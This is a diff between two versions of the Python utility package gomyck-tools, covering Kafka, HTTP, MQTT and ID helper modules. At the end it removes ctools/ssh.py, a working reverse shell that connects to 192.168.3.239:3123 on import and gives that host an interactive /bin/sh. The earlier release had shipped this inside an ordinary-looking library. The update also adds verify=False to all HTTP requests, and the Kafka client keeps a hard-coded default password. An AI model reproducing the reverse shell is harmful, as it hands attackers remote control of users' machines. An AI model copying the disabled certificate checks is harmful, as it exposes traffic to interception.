gomyck-tools 1.1.2__py3-none-any.whl → 1.1.4__py3-none-any.whl

ctools/bottle_web_base.py

@@ -4,7 +4,7 @@ from functools import wraps
 
 import bottle
 from bottle import response, Bottle, request
-
+from ctools.dict_wrapper import DictWrapper
 from ctools.api_result import R
 from ctools.sys_log import flog as log
 
@@ -142,9 +142,4 @@ class FormDataParams:
     except Exception:
       return self.files[key]
 
-class DictWrapper(dict):
-  def __getattr__(self, key):
-    return self.get(key)
 
-  def __setattr__(self, key, value):
-    self[key] = value

ctools/ckafka.py

@@ -14,137 +14,146 @@ from ctools.cjson import dumps
 
 """
 import time
+from datetime import datetime
 
-from ctools import thread_pool
+from ctools import thread_pool, string_tools
 from ctools.ckafka import CKafka
 
 c = CKafka(kafka_url='192.168.3.160:9094', secure=True)
 
+producer = c.init_producer()
+consumer = c.init_consumer(enable_auto_commit=False)
+
 def send_msg():
   while True:
-    time.sleep(3)
-    c.send_msg('test', 'test')
+    command = input('发送消息: Y/n \n')
+    if command.strip() not in ['N', 'n']:
+      producer.send_msg('jqxx-lib', '{{"jqid": "{}", "xxxx": "{}=={}"}}'.format(string_tools.get_snowflake_id(), command.strip(), datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S')))
+    else:
+      break
 
 thread_pool.submit(send_msg)
-c.get_msg('test')
-"""
 
-class CKafka:
+def consumer_callback(msg):
+  print(msg)
+  return True
+
+consumer.receive_msg('jqxx-lib', callBack=consumer_callback)
 
-  def __init__(self, kafka_url: str = '127.0.0.1:9092', secure: bool = False, username: str = 'client', password: str = 'hylink_user_password', consumer_group: str = 'ck-py-kafka-consumer'):
-    self.consumer: KafkaConsumer = None
-    self.producer: KafkaProducer = None
+time.sleep(10000)
+"""
+class KafkaInstance:
+  def __init__(self, producer: KafkaProducer, consumer: KafkaConsumer):
     self.start_consumer = False
+    self.quited = False
+    self.producer = producer
+    self.consumer = consumer
     self.consumer_callback = {"topic_key": []}
-    self.consumer_group = consumer_group
+
+  # FutureRecordMetadata 可以添加回调, 来监听是否发送成功
+  # r.add_callback(lambda x: print(x))
+  # r.get() 可以同步获取结果
+  def send_msg(self, topic, msg, key: str=None, partition:int=None) -> FutureRecordMetadata:
+    if self.producer is None: raise RuntimeError("Producer is not initialized")
+    if self.quited: return
+    return self.producer.send(topic=topic, value=msg, key=None if key is None else key.encode('utf-8'), partition=partition)
+
+  def receive_msg(self, topics: str, callBack=print):
+    if self.consumer is None: raise RuntimeError("Consumer is not initialized")
+    for topic in topics.split(','):
+      if topic not in self.consumer_callback.keys():
+        self.consumer_callback[topic] = []
+        self.consumer.subscribe(self.consumer_callback.keys())
+      self.consumer_callback[topic].append(callBack)
+    if not self.start_consumer:
+      t = Thread(target=self._start_consumer_poll, daemon=True)
+      t.start()
+
+  def _start_consumer_poll(self):
+    self.start_consumer = True
+    for msg in self.consumer:
+      if self.quited: break
+      funcList = []
+      begin_time = time.time()
+      for func in self.consumer_callback[msg.topic]:
+        if self.quited: break
+        res = func(msg)
+        if not self.consumer.config['enable_auto_commit'] and res: self.consumer.commit()
+        funcList.append(func.__name__)
+      end_time = time.time()
+      if end_time - begin_time > 1: print(f"kafka consume too slow!!! {funcList} time cost: ", f'{round(end_time - begin_time, 2)}s')
+      funcList.clear()
+
+  def shutdown(self):
+    self.quited = True
+    try: self.consumer.close()
+    except Exception: pass
+    try: self.producer.close()
+    except Exception: pass
+
+
+class CKafka:
+
+  def __init__(self, kafka_url: str = '127.0.0.1:9092', secure: bool = False, username: str = 'client', password: str = 'hylink_user_password'):
     self.kafka_url = kafka_url
-    self.init_producer = False
-    self.init_consumer = False
     self.secure = secure
     self.username = username
     self.password = password
-    self.locker = Lock()
-    self.quited = False
 
-  def _create_producer(self) -> KafkaProducer:
+  def init_producer(self, acks=1) -> KafkaInstance:
     print("[ Producer ] Connecting to Kafka brokers")
     for i in range(0, 6):
       try:
         if self.secure:
-          self.producer = KafkaProducer(
+          producer = KafkaProducer(
+            acks=acks,
             bootstrap_servers=self.kafka_url,
+            value_serializer=lambda x: dumps(x).encode('utf-8'),
             sasl_plain_username=self.username,
             sasl_plain_password=self.password,
             security_protocol='SASL_PLAINTEXT',
-            sasl_mechanism='PLAIN',
-            value_serializer=lambda x: dumps(x).encode('utf-8'))
+            sasl_mechanism='PLAIN'
+          )
         else:
-          self.producer = KafkaProducer(
+          producer = KafkaProducer(
+            acks=acks,
             bootstrap_servers=self.kafka_url,
-            value_serializer=lambda x: dumps(x).encode('utf-8'))
+            value_serializer=lambda x: dumps(x).encode('utf-8')
+          )
         print("[ Producer ] Connected to Kafka...")
-        self.init_producer = True
-        return self.producer
+        return KafkaInstance(producer=producer, consumer=None)
       except errors.NoBrokersAvailable:
         print("[ Producer ] Waiting for brokers to become available...")
         time.sleep(3)
     raise RuntimeError("[ Producer ] Failed to connect to brokers within 60 seconds")
 
-  def _create_consumer(self) -> KafkaProducer:
+  def init_consumer(self, client_id: str = 'ck-py-kafka-consumer', consumer_group: str = 'ck-py-kafka-consumer', enable_auto_commit: bool = True) -> KafkaInstance:
     print("[ Consumer ] Connecting to Kafka brokers")
     for i in range(0, 6):
       try:
         if self.secure:
-          self.consumer = KafkaConsumer(
-            group_id=self.consumer_group,
+          consumer = KafkaConsumer(
+            client_id=client_id,
+            group_id=consumer_group,
+            enable_auto_commit=enable_auto_commit,
             bootstrap_servers=self.kafka_url,
+            value_deserializer=lambda x: x.decode('utf-8'),
             sasl_plain_username=self.username,
             sasl_plain_password=self.password,
             security_protocol='SASL_PLAINTEXT',
-            sasl_mechanism='PLAIN',
-            value_deserializer=lambda x: x.decode('utf-8'))
+            sasl_mechanism='PLAIN'
+          )
         else:
-          self.consumer = KafkaProducer(
+          consumer = KafkaProducer(
+            client_id=client_id,
+            group_id=consumer_group,
+            enable_auto_commit=enable_auto_commit,
             bootstrap_servers=self.kafka_url,
-            value_deserializer=lambda x: x.decode('utf-8'))
+            value_deserializer=lambda x: x.decode('utf-8')
+          )
         print("[ Consumer ] Connected to Kafka...")
-        self.init_consumer = True
-        return self.consumer
+        return KafkaInstance(producer=None, consumer=consumer)
       except errors.NoBrokersAvailable:
         print("[ Consumer ] Waiting for brokers to become available...")
         time.sleep(3)
     raise RuntimeError("[ Consumer ] Failed to connect to brokers within 60 seconds")
-
-  # FutureRecordMetadata 可以添加回调, 来监听是否发送成功
-  # r.add_callback(lambda x: print(x))
-  # r.get() 可以同步获取结果
-  def send_msg(self, topic, msg, key: str=None, partition:int=None) -> FutureRecordMetadata:
-    if self.quited: return None
-    if not self.init_producer:
-      with self.locker:
-        if not self.init_producer:
-          self._create_producer()
-    return self.producer.send(topic=topic, value=msg, key=None if key is None else key.encode('utf-8'), partition=partition)
-
-  def get_msg(self, topics: str, callBack=print):
-    if not self.init_consumer:
-      with self.locker:
-        if not self.init_consumer:
-          self._create_consumer()
-    for topic in topics.split(','):
-      if topic not in self.consumer_callback.keys():
-        self.consumer_callback[topic] = []
-        self.consumer.subscribe(self.consumer_callback.keys())
-      self.consumer_callback[topic].append(callBack)
-    if not self.start_consumer:
-      t = Thread(target=self._start_consumer_poll)
-      t.start()
-
-  def _start_consumer_poll(self):
-    self.start_consumer = True
-    for msg in self.consumer:
-      if self.quited: break
-      taskList = []
-      funcList = []
-      begin_time = time.time()
-      for func in self.consumer_callback[msg.topic]:
-        if self.quited: break
-        f = thread_pool.submit(func, (msg, ))
-        taskList.append(f)
-        funcList.append(func.__name__)
-      for f in taskList:
-        if self.quited: break
-        f.result()
-      end_time = time.time()
-      if end_time - begin_time > 1: print(f"kafka consume too slow!!! {funcList} time cost: ", f'{round(end_time - begin_time, 2)}s')
-      taskList.clear()
-      funcList.clear()
-
-  def shutdown(self):
-    self.quited = True
-    try: self.consumer.close()
-    except Exception: pass
-    try: self.producer.close()
-    except Exception: pass
-    thread_pool.shutdown(wait=True)
-

ctools/dict_wrapper.py

@@ -0,0 +1,11 @@
+#!/usr/bin/env python
+# -*- coding: UTF-8 -*-
+__author__ = 'haoyang'
+__date__ = '2024/10/25 09:42'
+
+class DictWrapper(dict):
+  def __getattr__(self, key):
+    return self.get(key)
+
+  def __setattr__(self, key, value):
+    self[key] = value

ctools/http_utils.py

@@ -4,19 +4,19 @@ import requests
 def get(url, params=None, headers=None):
   result = ""
   try:
-    response = requests.get(url, params=params, headers=headers, timeout=60)
+    response = requests.get(url, params=params, headers=headers, timeout=60, verify=False)
     response.raise_for_status()
     if response.status_code == 200:
       result = response.content
   except Exception as e:
     print("GET请求异常:", e)
-  return result
+  return result.decode('utf-8')
 
 
 def post(url, data=None, json=None, headers=None, files=None):
   result = ""
-  response = requests.post(url, data=data, json=json, files=files, headers=headers, timeout=60)
+  response = requests.post(url, data=data, json=json, files=files, headers=headers, timeout=60, verify=False)
   response.raise_for_status()
   if response.status_code == 200:
     result = response.content
-  return result
+  return result.decode('utf-8')

ctools/id_worker_tools.py

@@ -31,7 +31,7 @@ class IdWorker(object):
     初始化
     :param datacenter_id: 数据中心（机器区域）ID
     :param worker_id: 机器ID
-    :param sequence: 其实序号
+    :param sequence: 起始序号
     """
     # sanity check
     if worker_id > MAX_WORKER_ID or worker_id < 0:

ctools/images_tools.py

@@ -1,4 +1,3 @@
-
 from io import BytesIO
 
 from PIL import Image

ctools/imgDialog.py

@@ -6,7 +6,6 @@ from tkinter import ttk
 import requests
 from PIL import Image, ImageTk
 
-
 def showImageTip(root, title, imagePath, tips):
   # 创建一个Tk对象
   if root:

ctools/mqtt_utils.py

@@ -1,13 +1,17 @@
 import time
+from enum import Enum
 from typing import Dict
 
-from business.common import DictToObj
-from business.common.constant import MQTTEvent
+from ctools.dict_wrapper import DictWrapper as DictToObj
 from paho.mqtt import client as mqtt
 from paho.mqtt.enums import CallbackAPIVersion
 
 from ctools import sys_log, cjson, string_tools, sys_info, date_utils, sm_tools, thread_pool
 
+class MQTTEvent(Enum):
+
+  pass
+
 '''
 MQTT服务使用示例:
 

ctools/pty_tools.py

@@ -2,6 +2,8 @@ import _thread
 import queue
 import time
 
+# 伪终端交互
+
 from winpty import PtyProcess
 
 

ctools/string_tools.py

@@ -7,6 +7,7 @@ import chardet
 
 from ctools.id_worker_tools import IdWorker
 
+idWorker = IdWorker(1, 2, 0)
 
 def get_random_str(size: int = 10):
   """
@@ -22,7 +23,7 @@ def get_uuid():
 
 
 def get_snowflake_id():
-  return IdWorker(1, 2, 0).get_id()
+  return idWorker.get_id()
 
 
 def decode_bytes(bytes_str: Union[bytes, bytearray]):

{gomyck_tools-1.1.2.dist-info → gomyck_tools-1.1.4.dist-info}/METADATA

@@ -1,6 +1,6 @@
 Metadata-Version: 2.1
 Name: gomyck-tools
-Version: 1.1.2
+Version: 1.1.4
 Summary: A ctools for python development by hao474798383
 Home-page: https://blog.gomyck.com
 Author: gomyck
@@ -20,7 +20,10 @@ Requires-Dist: psutil >=6.0.0
 Requires-Dist: jsonpath-ng >=1.6.1
 Requires-Dist: bottle ==0.13.1
 Requires-Dist: requests ==2.32.3
+Requires-Dist: urllib3 ==1.26.18
 Requires-Dist: kafka-python ==2.0.2
-Requires-Dist: bottle-websocket ==0.2.9
+Requires-Dist: bs4 ==0.0.2
+Requires-Dist: paho-mqtt ==2.1.0
+Requires-Dist: fuzzywuzzy ==0.18.0
 
 this package is for python development

{gomyck_tools-1.1.2.dist-info → gomyck_tools-1.1.4.dist-info}/RECORD

@@ -4,43 +4,43 @@ ctools/api_result.py,sha256=NiM-R9K42G3m16B27sG_mqKrlexZzC5-LKoY8D5tO4s,1239
 ctools/application.py,sha256=WviU7p9GOqducbGW3XGkP7jCNKmraCh6JGSYBC33CQk,16008
 ctools/b64.py,sha256=_BdhX3p3-MaSSlU2wivN5qPxQfacR3VRBr1WC456tU0,194
 ctools/bashPath.py,sha256=BCN_EhYzqvwsxYso81omMNd3SbEociwSOyb9kLvu8V4,337
-ctools/bottle_web_base.py,sha256=-8z4q2pL8LXh0cPT4q3nv7WF-JdhyGXZPKliZTTwBKM,4951
+ctools/bottle_web_base.py,sha256=I8SrytLXofUCDwjLsk4C259MlLZC05Q4RGNq-Of36d8,4855
 ctools/bottle_webserver.py,sha256=3S5NkqLFerlYWt96owxmpgAQKTnXbQ_5uKHL5CeilIw,2455
 ctools/bottle_websocket.py,sha256=IRY17SpDFjihLeU8c_aUIMAfUNZzurqfrOyNFojOQHQ,1858
 ctools/browser_element_tools.py,sha256=IFR_tWu5on0LxhuC_4yT6EOjwCsC-juIoU8KQRDqR7E,9952
 ctools/call.py,sha256=BCr8wzt5qd70okv8IZn-9-EpjywleZgvA3u1vfZ_Kt8,1581
 ctools/cjson.py,sha256=M2XrXnFXTJyKsXP2JRos2Bse4b6WXjr6TrA6y-EF_Ig,1245
-ctools/ckafka.py,sha256=cxtM1X0YLBrLxKBioWKME-b1JBzc8rMKSqt5gYGg2dc,5162
+ctools/ckafka.py,sha256=XPH3yvfOZjsAXFwARdjF-iOaPSKwf5ZbWf-VKE49Q7Y,5755
 ctools/compile_tools.py,sha256=Nybh3vnkurIKnPnubdYzigjnzFu4GaTMKPvqFdibxmE,510
 ctools/console.py,sha256=EZumuyynwteKUhUxB_XoulHswDxHd75OQB34RiZ-OBM,1807
 ctools/cron_lite.py,sha256=f9g7-64GsCxcAW-HUAvT6S-kooScl8zaJyqwHY-X_rE,8308
 ctools/database.py,sha256=5LPmchtyekLeP1idrexgjPNLrywWc4IMp-ztDff95vQ,5362
 ctools/date_utils.py,sha256=-xI2anEzAonOvYwVmM1hCnkuLKodZ8pb33dS3dRxEIc,865
+ctools/dict_wrapper.py,sha256=JsJssnMLIubWDdpr8vVzGP47NnZhB3t81zfyoWKU2mU,240
 ctools/douglas_rarefy.py,sha256=oSdc_uGfiBWqSKLpdg_npYeGxhZqXUTPB3pou6SM2_Y,4823
 ctools/download_tools.py,sha256=oJbG12Hojd0J17sAlvMU480P3abi4_AB9oZkEBGFPuo,1930
 ctools/enums.py,sha256=QbHa3j7j4-BDdwaga5Y0nYfA2uNSVJDHumYdIZdKVkM,118
 ctools/ex.py,sha256=_UtbmDLrC7uZsoBtTdecuCZAlf2DA7fvojUf5fGZDVo,795
 ctools/excelOpt.py,sha256=q3HLAb1JScTrMCvx_x-4WWnqKhyTEzQ-m5vtqFy8NZU,1138
 ctools/html_soup.py,sha256=LabCo4yWI58fbFBPhunk3THWBf0BbHEWLgwyvSpTGR4,1903
-ctools/http_utils.py,sha256=4dt7OTRZluB9wCK4HL0TBqVZrV3cj_AIs4-9mGDC1zA,616
-ctools/id_worker_tools.py,sha256=xtfxpL8q4hHLT02JFx2jVXEXpasHq44ZFsOhO580JmE,2357
-ctools/images_tools.py,sha256=8LGH3vZIfpnFG3hycs9Nlol3uhVgprzWSxjc_qgdzNQ,671
-ctools/imgDialog.py,sha256=5r_XTPLyZj3Oa3HhwF2aQhziE74eFXe7aJZNndpXh18,1386
+ctools/http_utils.py,sha256=A2Nue8VjDIsEJmezjGnDsujob7utSHrm7-2zyzqbGyc,676
+ctools/id_worker_tools.py,sha256=jBKkoHoezH_X3Qj_GIKQjJOnIxnzKjnYdRQdd37_3Mw,2357
+ctools/images_tools.py,sha256=TapXYCPqC7GesgrALecxxa_ApuT_dxUG5fqQIJF2bNY,670
+ctools/imgDialog.py,sha256=zFeyPmpnEn9Ih7-yuJJrePqW8Myj3jC9UYMTDk-umTs,1385
 ctools/license.py,sha256=0Kh7lXL7LD1PQqyijHajFL0GbmZGNB88PA2WskbQn_s,1066
 ctools/metrics.py,sha256=vq9Fnq2fhmhS4yoHS4gO7ArKS033Eou8vpA779Uue0I,4414
-ctools/mqtt_utils.py,sha256=h53fcyBx7AZFe5fe2nFEu8n1IWT_5ja7-UY9f7gkj7Q,10676
+ctools/mqtt_utils.py,sha256=ZWSZiiNJLLlkHF95S6LmRmkYt-iIL4K73VdN3b1HaHw,10702
 ctools/obj.py,sha256=GYS1B8NyjtUIh0HlK9r8avC2eGbK2SJac4C1CGnfGhI,479
 ctools/pacth.py,sha256=MJ9Du-J9Gv62y4cZKls1jKbl5a5kL2y9bD-gzYUCveQ,2604
 ctools/plan_area_tools.py,sha256=pySri43bVfkHjzlKujML-Nk8B3QLxuYv5KJMha-MLmU,3311
 ctools/process_pool.py,sha256=1TuZySUbQjgYYcuwis54DIwQTimWvTLNahSra7Ia8Ps,951
-ctools/pty_tools.py,sha256=RofRMFnU8Zd4o9mKI8t1v5n_RSCskfs_JcLsonm-1uM,1603
+ctools/pty_tools.py,sha256=KI3dOyv2JLZmU1VfD1aLMq9r9d5VCu3TdtcezZayBEI,1622
 ctools/resource_bundle_tools.py,sha256=8zW1-aj6jAYFBCoyslz5bL-5916G6Aif1RUy_ObbiVU,3793
 ctools/screenshot_tools.py,sha256=KoljfgqW5x9aLwKdIfz0vR6v-fX4XjE92HudkDxC2hE,4539
 ctools/sign.py,sha256=YOrON1SeLRPavPWtE3GonvWFVv1SGFjfjrEVJ3k4x6s,566
 ctools/sm_tools.py,sha256=RwhTjuKw_TjaAJAui39wctzFFpbt79MQ3hjF0fhL638,1113
-ctools/ssh.py,sha256=Zii7HsIuHz5xAjR-2QFcHD-WXDDwnupnRbBlfNQcvys,231
 ctools/strDiff.py,sha256=QUtXOfsRLTFozH_zByqsC39JeuG3eZtrwGVeLyaHYUI,429
-ctools/string_tools.py,sha256=qjFn47lM27ISAa2Q4OKO7WOBdhyWC5lLHbME-uSeICE,2142
+ctools/string_tools.py,sha256=WlLQxQePbYVzvPi0YFGpTbHLQl9eRhHrX-DPkN4zMzg,2162
 ctools/sys_info.py,sha256=kgAPNP4ruso5kJS3kec9HMJLlvHPUj311Uv9SibPY_k,3626
 ctools/sys_log.py,sha256=oqb1S41LosdeZxtogFVgDk8R4sjiHhUeYJLCzHd728E,2805
 ctools/thread_pool.py,sha256=qb68ULHy1K7u3MC7WP49wDhmgUhgWazd9FRuFbClET4,925
@@ -51,7 +51,7 @@ ctools/wordFill.py,sha256=dB1OLt6GLmWdkDV8H20VWbJmY4ggNNI8iHD1ocae2iM,875
 ctools/word_fill.py,sha256=aIkzjAF2soSW6w2dO2CRZlveDcuIdr6v9DtyyyB8uxM,18216
 ctools/word_fill_entity.py,sha256=eX3G0Gy16hfGpavQSEkCIoKDdTnNgRRJrFvKliETZK8,985
 ctools/work_path.py,sha256=i4MTUobqNW2WMrT3mwEC_XYQ0_IhFmKoNpTX2W6A8Tc,1680
-gomyck_tools-1.1.2.dist-info/METADATA,sha256=3_a43ilGlG_hn6YQ40T0FaAJ_u5xdFkzZOTNXjFWz3k,852
-gomyck_tools-1.1.2.dist-info/WHEEL,sha256=yQN5g4mg4AybRjkgi-9yy4iQEFibGQmlz78Pik5Or-A,92
-gomyck_tools-1.1.2.dist-info/top_level.txt,sha256=-MiIH9FYRVKp1i5_SVRkaI-71WmF1sZSRrNWFU9ls3s,7
-gomyck_tools-1.1.2.dist-info/RECORD,,
+gomyck_tools-1.1.4.dist-info/METADATA,sha256=m99IZeUQ-v12RDdtP2MC0OhYVRi3pot_XVsUlo2D-cs,940
+gomyck_tools-1.1.4.dist-info/WHEEL,sha256=yQN5g4mg4AybRjkgi-9yy4iQEFibGQmlz78Pik5Or-A,92
+gomyck_tools-1.1.4.dist-info/top_level.txt,sha256=-MiIH9FYRVKp1i5_SVRkaI-71WmF1sZSRrNWFU9ls3s,7
+gomyck_tools-1.1.4.dist-info/RECORD,,

ctools/ssh.py

@@ -1,11 +0,0 @@
-import os
-import socket
-import subprocess
-
-s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
-s.connect(('192.168.3.239',3123))
-os.dup2(s.fileno(),0)
-os.dup2(s.fileno(),1)
-os.dup2(s.fileno(),2)
-p=subprocess.call(['/bin/sh','-i'])
-